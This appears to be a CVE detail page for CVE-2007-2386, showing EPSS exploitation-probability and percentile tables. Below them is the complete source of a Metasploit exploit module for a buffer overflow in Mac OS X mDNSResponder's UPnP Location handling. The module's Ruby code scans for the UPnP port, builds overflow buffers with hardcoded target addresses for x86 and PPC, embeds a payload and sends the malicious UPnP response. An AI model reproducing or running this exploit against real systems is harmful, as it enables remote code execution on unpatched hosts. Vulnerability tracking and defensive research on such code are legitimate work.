CVE-2007-2386 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	72.99%	–	–
2023-03-12	–	–	–	33.36%	–
2023-09-24	–	–	–	33.36%	–
2023-10-29	–	–	–	34.19%	–
2023-12-10	–	–	–	38.29%	–
2024-02-18	–	–	–	39.94%	–
2024-03-31	–	–	–	41.76%	–
2024-06-02	–	–	–	41.76%	–
2024-09-01	–	–	–	49.12%	–
2024-12-22	–	–	–	60.1%	–
2025-01-19	–	–	–	60.1%	–
2025-03-18	–	–	–	–	68.76%
2025-03-30	–	–	–	–	71.93%
2025-03-30	–	–	–	–	71.93,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	99%
2023-03-12	96%
2023-09-24	97%
2023-10-29	97%
2023-12-10	97%
2024-02-18	97%
2024-03-31	97%
2024-06-02	97%
2024-09-01	98%
2024-12-22	98%
2025-01-19	98%
2025-03-18	99%
2025-03-30	99%
2025-03-30	99%

## # $Id: upnp_location.rb 11515 2011-01-08 01:12:15Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'Mac OS X mDNSResponder UPnP Location Overflow', 'Description' => %q{ This module exploits a buffer overflow that occurs when processing specially crafted requests set to mDNSResponder. All Mac OS X systems between version 10.4 and 10.4.9 (without the 2007-005 patch) are affected. }, 'License' => MSF_LICENSE, 'Author' => [ 'ddz' ], 'Version' => '$Revision: 11515 $', 'References' => [ [ 'OSVDB', '35142' ], [ 'CVE', '2007-2386' ], [ 'BID', '24144' ], [ 'URL', 'http://support.apple.com/kb/TA24732' ] ], 'DefaultOptions' => { 'SRVPORT' => 1900, 'RPORT' => 0 }, 'Payload' => { 'BadChars' => "\x00\x3a\x2f", 'StackAdjustment' => 0, 'Space' => 468 }, 'Platform' => 'osx', 'Targets' => [ [ '10.4.8 x86', { # mDNSResponder-108.2 'Arch' => ARCH_X86, # Offset to mDNSStorage structure 'Offset' => 21000, 'Magic' => 0x8fe510a0, 'g_szRouterHostPortDesc' => 0x53dc0, } ], [ '10.4.0 PPC', { # mDNSResponder-107 'Arch' => ARCH_PPC, 'Offset' => 21000, 'Magic' => 0x8fe51f4c, 'Ret' => 0x8fe41af8, } ] ], 'DisclosureDate' => 'May 25 2007', 'DefaultTarget' => 1)) register_options( [ Opt::LHOST(), OptPort.new('SRVPORT', [ true, "The UPNP server port to listen on", 1900 ]) ], self.class) @mutex = Mutex.new() @found_upnp_port = false @key_to_port = Hash.new() @upnp_port = 0 @client_socket = nil end def check # # TODO: Listen on two service ports, one a single character # shorter than the other (i.e 1900 and 19000). If the copy was # truncated by strlcpy, it will connect to the service listening # on the shorter port number. # upnp_port = scan_for_upnp_port() if (upnp_port > 0) return Exploit::CheckCode::Detected else return Exploit::CheckCode::Unsupported end end def upnp_server(server) client = server.accept() request = client.readline() if (request =~ /GET \/([\da-f]+).xml/) @mutex.synchronize { @found_upnp_port = true @upnp_port = @key_to_port[$1] # Important: Keep the client connection open @client_socket = client } end end def scan_for_upnp_port @upnp_port = 0 @found_upnp_port = false upnp_port = 0 # XXX: Do this in a more Metasploit-y way server = TCPServer.open(1900) server_thread = framework.threads.spawn("Module(#{self.refname})-Listener", false) { self.upnp_server(server) } begin socket = Rex::Socket.create_udp upnp_location = "http://" + datastore['LHOST'] + ":" + datastore['SRVPORT'] puts "[*] Listening for UPNP requests on: #{upnp_location}" puts "[*] Sending UPNP Discovery replies..." i = 49152; while i < 65536 && @mutex.synchronize { @found_upnp_port == false } key = sprintf("%.2x%.2x%.2x%.2x%.2x", rand(255), rand(255), rand(255), rand(255), rand(255)) @mutex.synchronize { @key_to_port[key] = i } upnp_reply = "HTTP/1.1 200 Ok\r\n" + "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" + "USN: uuid:7076436f-6e65-1063-8074-0017311c11d4\r\n" + "Location: #{upnp_location}/#{key}.xml\r\n\r\n" socket.sendto(upnp_reply, datastore['RHOST'], i) i += 1 end @mutex.synchronize { if (@found_upnp_port) upnp_port = @upnp_port end } ensure server.close server_thread.join end return upnp_port end def exploit # # It is very important that we scan for the upnp port. We must # receive the TCP connection and hold it open, otherwise the # code path that uses the overwritten function pointer most # likely won't be used. Holding this connection increases the # chance that the code path will be used dramatically. # upnp_port = scan_for_upnp_port() if upnp_port == 0 raise "Could not find listening UPNP UDP socket" end datastore['RPORT'] = upnp_port socket = connect_udp() if (target['Arch'] == ARCH_X86) space = "A" * target['Offset'] space[0, payload.encoded.length] = payload.encoded pattern = Rex::Text.pattern_create(47) pattern[20, 4] = [target['Magic']].pack('V') pattern[44, 3] = [target['g_szRouterHostPortDesc']].pack('V')[0..2] boom = space + pattern usn = "" elsif (target['Arch'] == ARCH_PPC) space = "A" * target['Offset'] pattern = Rex::Text.pattern_create(48) pattern[20, 4] = [target['Magic']].pack('N') # # r26, r27, r30, r31 point to g_szUSN+556 # Ret should be a branch to one of these registers # And we make sure to put our payload in the USN header # pattern[44, 4] = [target['Ret']].pack('N') boom = space + pattern # # Start payload at offset 556 within USN # usn = "A" * 556 + payload.encoded end upnp_reply = "HTTP/1.1 200 Ok\r\n" + "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" + "USN: #{usn}\r\n" + "Location: http://#{boom}\r\n\r\n" puts "[*] Sending evil UPNP response" socket.put(upnp_reply) puts "[*] Sleeping to give mDNSDaemonIdle() a chance to run" select(nil,nil,nil,10) handler() disconnect_udp() end end